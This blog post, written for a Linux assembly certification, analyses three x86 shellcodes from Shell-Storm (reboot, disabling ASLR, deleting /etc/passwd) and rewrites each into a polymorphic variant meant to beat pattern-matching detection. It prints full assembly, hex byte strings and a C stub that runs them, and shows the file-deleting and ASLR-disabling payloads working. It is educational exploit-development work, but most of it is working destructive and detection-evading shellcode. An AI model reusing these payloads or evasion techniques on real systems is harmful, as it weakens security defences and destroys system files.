SLAE Problem 6: Shell-Storm.com Shellcode Analysis and Polymorphic Modification

January 9, 2017 - 17 minute read -
asm shellcode polymorphic

This blog post has been created for completing the requirements for the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-824

Requirements

  • Take 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger than 150% of the existing shellcode
  • Bonus points for making it shorter in length than original

Approach

I have chosen the following 3 shellcodes to make polymorphic from shell-strom.org:

My approach will be to:

  • Take each shellcode and analyze it to understand what it does
  • Place it in a sample stub c program to try it out to make sure it works before modification
  • Modify the shellcode with garbage instructions and equivalent instructions
  • Place the modified shellcode into the stub c program and verify that it continues to work properly

The source code for this exercise can be found here

Shellcode 1: Reboot

The shellcode for rebooting a system looks like the following. I have converted the AT&T syntax to Intel but other than that the commands are the same. Lets analyze it and try to understand what it does.

global _start
section .text
  _start:
    xor    eax,eax    ; zero out eax
    push   eax        ; place 0x00000000 on the stack
    push   0x746f6f62 ; push toob to the stack
    push   0x65722f6e ; push er/n to the stack
    push   0x6962732f ; push ibs/ to the stack
    mov    ebx,esp    ; place pointer to /sbin/reboot string on stack
    push   eax        ; place 0x00000000 on the stack
    push word 0x662d  ; push f- to the stack
    mov    esi,esp    ; place pointer to -f argument to the stack
    push   eax        ; push 0x00000000 on the stack
    push   esi        ; place pointer to -f argument on the stack
    push   ebx        ; place pointer to /sbin/reboot string on the stack
    mov    ecx,esp    ; move pointer to argument array /sbin/reboot, -f on the stack
    mov    al,0xb     ; place system call 11 (execve) in al
    int    0x80       ; call execve

This looks pretty familiar. The shellcode simply populates the registers with the arguments that execve requires:

int execve(const char *path, char *const argv[], char *const envp[]);

And then executes it. Lets go ahead and throw it in a stub c program and make sure it works but before we do, lets write a little bash function to place in our .bashrc as I’ve grown tired having to derive the proper command line incantation to dump the shellcode of a binary. Here we go:

function dumpsc {
  objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
}

Note: if placing shellcode in cstub doesn’t work it may be because the cut -f needs to be adjusted to account for the columns of opcodes in the objdump -d output.

Execellent. Now:

dumpsc reboot
"\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80"

There is our shellcode. Lets throw it in our stub C program. Actually, I’ve grown tired of doing that too. Lets write a function to do that for us:

function asmtocstub {
BYTES=`dumpsc $1`
CFILE="$2.c"
echo "The bytes of the shellcode are:"
echo $BYTES
echo "Writing shellcode to $CFILE"
cat << EOF > $CFILE
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = $BYTES;

int main(void)
{

  printf("Shellcode Length:  %d\n", strlen(shellcode));
  int (*ret)() = (int(*)())shellcode;
  ret();
}
EOF
gcc -g -fno-stack-protector -z execstack -m32 $CFILE -o $2
}

And now:

$ asmtocstub reboot myshellcode
The bytes of the shellcode are:
"\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80"
Writing shellcode to myshellcode.c
$ cat myshellcode.c
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{

  printf("Shellcode Length:  %d\n", strlen(shellcode));
  int (*ret)() = (int(*)())shellcode;
  ret();
}
$ ./myshellcode
Length: 36
reboot: Need to be root
$

Excellent. That should speed up productivity. We can see from the output that when we execute the shellcode c program that it does in fact try to run (although you need to be root to reboot the system).

Since we know that it works, lets start making it polymorphic.

Ploymorphic Reboot Shellcode

Returning to our original shellcode, replace some instructions with equivalent instructions and add some NOP garbage as well:

global _start
section .text
  _start:
    ; zero out eax
    xor    eax,eax

    push   eax        ; place 0x00000000 on the stack

    ;push   0x746f6f62 ; push toob to the stack
    mov ebx, 0x736e6e61 ; place obfuscated toob in ebx
    add ebx, 0x01010101 ; add to bring ebx to 0x746f6f62
    push ebx ; push toob to the stack

    ;push   0x65722f6e ; push er/n to the stack
    ;push   0x6962732f ; push ibs/ to the stack
    mov dword [esp-4],  0x65722f6e ; push er/n to the stack
    mov dword [esp-8], 0x6962732f ; push ibs/ to the stack
    sub esp, 8

    mov    ebx,esp    ; place pointer to /sbin/reboot string on stack
    push   eax        ; place 0x00000000 on the stack
    push word 0x662d  ; push f- to the stack
    mov    esi,esp    ; place pointer to -f argument to the stack
    push   eax        ; push 0x00000000 on the stack
    push   esi        ; place pointer to -f argument on the stack
    push   ebx        ; place pointer to /sbin/reboot string on the stack
    mov    ecx,esp    ; move pointer to argument array /sbin/reboot, -f on the stack

    mov    al,0xb     ; place system call 11 (execve) in al

    int    0x80       ; call execve

Lets compile our new polymorphic reboot version and see if it still works:

$ ./compile.sh polyreboot
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ ./polyreboot
reboot: Need to be root
$ asmtocstub polyreboot polyrebootstub
The bytes of the shellcode are:
"\x31\xc0\x50\xbb\x61\x6e\x6e\x73\x81\xc3\x01\x01\x01\x01\x53\xc7\x44\x24\xfc\x6e\x2f\x72\x65\xc7\x44\x24\xf8\x2f\x73\x62\x69\x83\xec\x08\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80"
Writing shellcode to polyrebootstub.c
$ ./polyrebootstub
Shellcode Length:  52
reboot: Need to be root

After our obfuscation our shellcode still works. Perfect. The size of the shellcode has grown from 36 to 52 bytes. We have kept it under the 150% size increase limitation. Next up…

Shellcode 2: ASLR Deactivation

The next shellcode disables ASLR on Linux x86 systems. It can be found here. Once again, lets do some analysis before we go and try to run it.

global _start
section .text
  _start:
    xor    eax,eax ; Clear out eax
    push   eax     ; Push 0x00000000 onto the stack
    push   0x65636170 ; Push ecap onto the stack
    push   0x735f6176 ; Push s_av onto the stack
    push   0x5f657a69 ; Push _ezi onto the stack
    push   0x6d6f646e ; Push modn onto the stack
    push   0x61722f6c ; Push ar/l onto the stack
    push   0x656e7265 ; Push enre onto the stack
    push   0x6b2f7379 ; Push k/sy onto the stack
    push   0x732f636f ; Push s/co onto the stack
    push   0x72702f2f ; Push rp// onto the stack
    ; At this point //proc/sys/kernel/randomize_va_space
    ; Has been pushed onto the stack
    ; According to [this](http://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization)
    ; This seems to be the recommended way to be disabling ASLR
    mov    ebx, esp ; place a pointer to our string on the stack

    mov    cx, 0x2bc ; mode for sys_creat call
    ; gdb --batch --ex "print /o 0x02bc" $1 = 01274
    ; consulting the man page table for mode we find
    ; S_IWUSR    00200 user has write permission
    ; S_IRWXG    00070 group has read, write, and execute permission
    ; S_IROTH    00004 others have read permission
    ; S_ISVTX  0001000 sticky bit

    mov    al, 0x8 ; sys_creat - open or create a file
    int    0x80 ; open the file

    mov    ebx,eax ; save the file descriptor
    push   eax ; push the file descriptor onto the stack

    ;; Beginning to setup the write syscall by
    ;; placing the required information into
    ;; the proper registers
    ;; ssize_t write(int fd, const void *buf, size_t count);
    mov    dx,0x3a30  ; Push :0 onto the stack
    push   dx ; push it onto the stack
    mov    ecx,esp
    xor    edx,edx
    inc    edx ; count of bytes to be written which is 1
    mov    al,0x4 ; sys_write syscall
    int    0x80

    mov    al,0x6 ; sys_close syscall
    int    0x80   ; returns 0 into eax on success

    inc    eax  ; increment eax to syscall 1 - exit syscall
    int    0x80 ; exit gracefully

Everything seems to look safe to run. Looking at the permissions of /proc/sys/kernel/randomize_va_space we see that it is owned by root and can only be written to by root:

$ stat /proc/sys/kernel/randomize_va_space
  File: ‘/proc/sys/kernel/randomize_va_space’
  Size: 0         	Blocks: 0          IO Block: 1024   regular empty file
Device: 4h/4d	Inode: 33315       Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-01-08 21:05:46.889201002 -0600
Modify: 2017-01-08 21:39:16.621201002 -0600
Change: 2017-01-08 21:39:16.621201002 -0600
 Birth: -

This indicates that our shelllcode will need to be run as root to be effective. If we compile and run the shellcode with sudo we see that it in fact does change the randomization value from 2 to 0. Let’s add in some polymorphism and see if we can keep it under 124 bytes as we neet to stay under 150% of the original 83 byte size.

Polymorphic ASLR Deactivation Shellcode

global _start
section .text
  _start:
    xor    eax,eax ; Clear out eax
    push   eax     ; Push 0x00000000 onto the stack

    ; Equivalent instructions for:
    ; push   0x65636170 ; Push ecap onto the stack
    mov ebx, 0x66646271
    sub ebx, 0x01010101
    push ebx

    push   0x735f6176 ; Push s_av onto the stack
    push   0x5f657a69 ; Push _ezi onto the stack
    push   0x6d6f646e ; Push modn onto the stack
    push   0x61722f6c ; Push ar/l onto the stack
    push   0x656e7265 ; Push enre onto the stack
    push   0x6b2f7379 ; Push k/sy onto the stack
    push   0x732f636f ; Push s/co onto the stack

    ; Equivalent instructions for:
    ; push   0x72702f2f ; Push rp// onto the stack
    mov ebx, 0x73713030
    sub ebx, 0x01010101
    push ebx


    ; At this point //proc/sys/kernel/randomize_va_space
    ; Has been pushed onto the stack
    ; According to [this](http://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization)
    ; This seems to be the recommended way to be disabling ASLR
    mov    ebx, esp ; place a pointer to our string on the stack

    cld ; For funzies

    mov    cx, 0x2bc ; mode for sys_creat call
    ; gdb --batch --ex "print /o 0x02bc" $1 = 01274
    ; consulting the man page table for mode we find
    ; S_IWUSR    00200 user has write permission
    ; S_IRWXG    00070 group has read, write, and execute permission
    ; S_IROTH    00004 others have read permission
    ; S_ISVTX  0001000 sticky bit

    ; Equivalent instructions for:
    ; mov    al, 0x8 ; sys_creat - open or create a file
    mov    al, 0x9
    sub    al, 0x1
    int    0x80 ; open the file

    mov    ebx,eax ; save the file descriptor

    ; Equivalent instructions for:
    ; push   eax ; push the file descriptor onto the stack
    mov [esp-4], eax
    sub esp, 0x4

    ;; Beginning to setup the write syscall by
    ;; placing the required information into
    ;; the proper registers
    ;; ssize_t write(int fd, const void *buf, size_t count);
    mov    dx,0x3a30  ; Push :0 onto the stack
    push   dx ; push it onto the stack
    mov    ecx,esp
    xor    edx,edx

    ; Equivalent instructions for:
    ; inc    edx ; count of bytes to be written which is 1
    inc    edx ; count of bytes to be written which is 1
    inc    edx ; for confusion
    inc    edx ; for confusion
    dec    edx ; for confusion
    dec    edx ; for confusion

    mov    al,0x4 ; sys_write syscall
    int    0x80

    mov    al,0x6 ; sys_close syscall
    int    0x80   ; returns 0 into eax on success

    inc    eax  ; increment eax to syscall 1 - exit syscall
    int    0x80 ; exit gracefully

After compiling and running we see:

$ cat /proc/sys/kernel/randomize_va_space
2
$ sudo ./deactivateaslrpoly
$ cat /proc/sys/kernel/randomize_va_space
0

It still works after the polymorphic adjustments. And the byte count is:

$ vim ~/.bashrc
$ ./compile.sh deactivateaslrpoly
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ asmtocstub deactivateaslrpoly deactivateaslrpolystub
The bytes of the shellcode are:
"\x31\xc0\x50\xbb\x71\x62\x64\x66\x81\xeb\x01\x01\x01\x01\x53\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\xbb\x30\x30\x71\x73\x81\xeb\x01\x01\x01\x01\x53\x89\xe3\xfc\x66\xb9\xbc\x02\xb0\x09\x2c\x01\xcd\x80\x89\xc3\x89\x44\x24\xfc\x83\xec\x04\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\x42\x42\x4a\x4a\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80"
Writing shellcode to deactivateaslrpolystub.c
$ ./deactivateaslrpolystub
Shellcode Length:  110

Cool. Our byte length is under the 124 byte limit and works as expected!

Now lets work with something a little mischievous. unlink /etc/passwd and exit What is unlink /etc/passwd you ask?

unlink

unlink, unlinkat - delete a name and possibly the file it refers to

Interesting… So this shellcode will delete the /etcpasswd file. This would probably cause a little havoc on a system. Luckily we are using a vm! Even though we know it is probably going to break our vm, lets analyze the code just to see exactly how it works.

Lets first take the shellcode provided in it’s C form, compile, throw it in gdb and extract the assembly code:

=> 0x0804a040 <+0>:	    jmp    0x804a053 <shell+19>
   0x0804a042 <+2>:	    pop    esi
   0x0804a043 <+3>:	    xor    eax,eax
   0x0804a045 <+5>:	    xor    ecx,ecx
   0x0804a047 <+7>:	    xor    edx,edx
   0x0804a049 <+9>:	    mov    al,0xa
   0x0804a04b <+11>:	mov    ebx,esi
   0x0804a04d <+13>:	int    0x80
   0x0804a04f <+15>:	mov    al,0x1
   0x0804a051 <+17>:	int    0x80
   0x0804a053 <+19>:	call   0x804a042 <shell+2>
   0x0804a058 <+24>:	das    
   0x0804a059 <+25>:	gs
   0x0804a05a <+26>:	je     0x804a0bf
   0x0804a05c <+28>:	das    
   0x0804a05d <+29>:	jo     0x804a0c0
   0x0804a05f <+31>:	jae    0x804a0d4
   0x0804a061 <+33>:	ja     0x804a0c7
   0x0804a063 <+35>:	add    BYTE PTR [eax],al

So the first thing that jumps out about this shellcode is that it appears to be utilizing the jmp call pop technique.

=> 0x0804a040 <+0>:	    jmp    0x804a053 <shell+19>
   0x0804a042 <+2>:	    pop    esi <-- Address after call goes here

   .. snip ..

   0x0804a053 <+19>:	call   0x804a042 <shell+2>
   0x0804a058 <+24>:	das <-- Call places the address of this instruction on the stack

   .. snip ..

Ok. So what is this code acquiring the address of? Well, the code after the call seems to be a bit cryptic which could mean that this is actually a string. Lets have a look…

If we put a breakpoint right after the pop call and use x/s $esi we can investigate if a string is pointed to by esi.

Breakpoint 5, 0x0804a043 in shell ()
(gdb) disass
Dump of assembler code for function shell:
   0x0804a040 <+0>:	jmp    0x804a053 <shell+19>
   0x0804a042 <+2>:	pop    esi
=> 0x0804a043 <+3>:	xor    eax,eax
   0x0804a045 <+5>:	xor    ecx,ecx
   0x0804a047 <+7>:	xor    edx,edx
   0x0804a049 <+9>:	mov    al,0xa
   0x0804a04b <+11>:	mov    ebx,esi
   0x0804a04d <+13>:	int    0x80
   0x0804a04f <+15>:	mov    al,0x1
   0x0804a051 <+17>:	int    0x80
   0x0804a053 <+19>:	call   0x804a042 <shell+2>
   0x0804a058 <+24>:	das    
   0x0804a059 <+25>:	gs
   0x0804a05a <+26>:	je     0x804a0bf
   0x0804a05c <+28>:	das    
   0x0804a05d <+29>:	jo     0x804a0c0
   0x0804a05f <+31>:	jae    0x804a0d4
   0x0804a061 <+33>:	ja     0x804a0c7
   0x0804a063 <+35>:	add    BYTE PTR [eax],al
End of assembler dump.
(gdb) x/s $esi
0x804a058 <shell+24>:	"/etc/passwd"

Sure enough it appears that esi points to the string /etc/passwd. That makes sense as that is the file this code is supposed to unlink.

Ok, continuing with our analysis:

   0x0804a042 <+2>:	    pop    esi <- Pointing to /etc/passwd

   ; Clear out registers
   0x0804a043 <+3>:	    xor    eax,eax
   0x0804a045 <+5>:	    xor    ecx,ecx
   0x0804a047 <+7>:	    xor    edx,edx

   ; Move syscall unlink 10 into al
   0x0804a049 <+9>:	    mov    al,0xa

   ; Unlink function signature:
   ; int unlink(const char *pathname);

   ; Move pointer to pathname into ebx
   0x0804a04b <+11>:	mov    ebx,esi

   ; Call unlink
   0x0804a04d <+13>:	int    0x80

   ; Move syscall 1 exit into al
   0x0804a04f <+15>:	mov    al,0x1

   ; Call exit
   0x0804a051 <+17>:	int    0x80

So everything is accounted for. This shellcode appears to do exactly what the title says it should do. Lets test it out and see if it in fact deletes the /etc/passwd file…

$ sudo cp /etc/passwd /etc/passwd.bkup
$ stat /etc/passwd
  File: ‘/etc/passwd’
  Size: 2008      	Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d	Inode: 182305      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-01-08 15:11:35.774016024 -0600
Modify: 2017-01-02 14:55:00.830518000 -0600
Change: 2017-01-02 14:55:00.830518000 -0600
 Birth: -
$ sudo ./unlinkpasswd
Shellcode Length: 35
$ stat /etc/passwd
stat: cannot stat ‘/etc/passwd’: No such file or directory
$ sudo mv /etc/passwd.bkup /etc/passwd
sudo: unknown uid 1000: who are you?
$ mv /etc/passwd.bkup /etc/passwd
mv: cannot move ‘/etc/passwd.bkup’ to ‘/etc/passwd’: Permission denied

LOL! So kids, don’t try this at home unless you can reset your vm!

Lets get our polymorphism on.

First we need to replicate the jump, call, pop setup of the original shellcode:

global _start
section .text
  _start:
    jmp    call_shellcode

  executeit:
    pop    esi
    xor    eax,eax
    xor    ecx,ecx
    xor    edx,edx
    mov    al,0xa
    mov    ebx,esi
    int    0x80
    mov    al,0x1
    int    0x80

  call_shellcode:
    call executeit
    FileToDelete: db "/etc/passwd"

Next we move some things around to make our code unique:

global _start
section .text
  _start:
    jmp    call_shellcode

  executeit:
    pop    esi

    ; Equivilent Instructions for:
    ; xor    eax,eax

    mov    eax, ecx
    xor    eax, ecx

    xor    ecx,ecx
    xor    edx,edx

    ; Equivilent Instructions for:
    ; mov    al,0xa
    mov    al, 0xc
    sub    al, 0x2

    mov    ebx,esi
    int    0x80
    mov    al,0x1
    int    0x80

  call_shellcode:
    call executeit
    FileToDelete: db "/etc/passwd"

Lets see if our polymorphed instructions still accomplish their goal:

$ stat /etc/passwd
  File: ‘/etc/passwd’
  Size: 2008      	Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d	Inode: 182305      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-01-09 16:50:23.534014000 -0600
Modify: 2017-01-02 14:55:00.830518000 -0600
Change: 2017-01-02 14:55:00.830518000 -0600
 Birth: -
$ sudo ./unlinkpasswdpoly
[sudo] password for frankgrimes:
$ stat /etc/passwd
stat: cannot stat ‘/etc/passwd’: No such file or directory

Beautiful! It deletes our /etc/passwd file as we hoped :) We end up with a 39 byte shellcode, the original being only 35 bytes so we are within our 150% increase.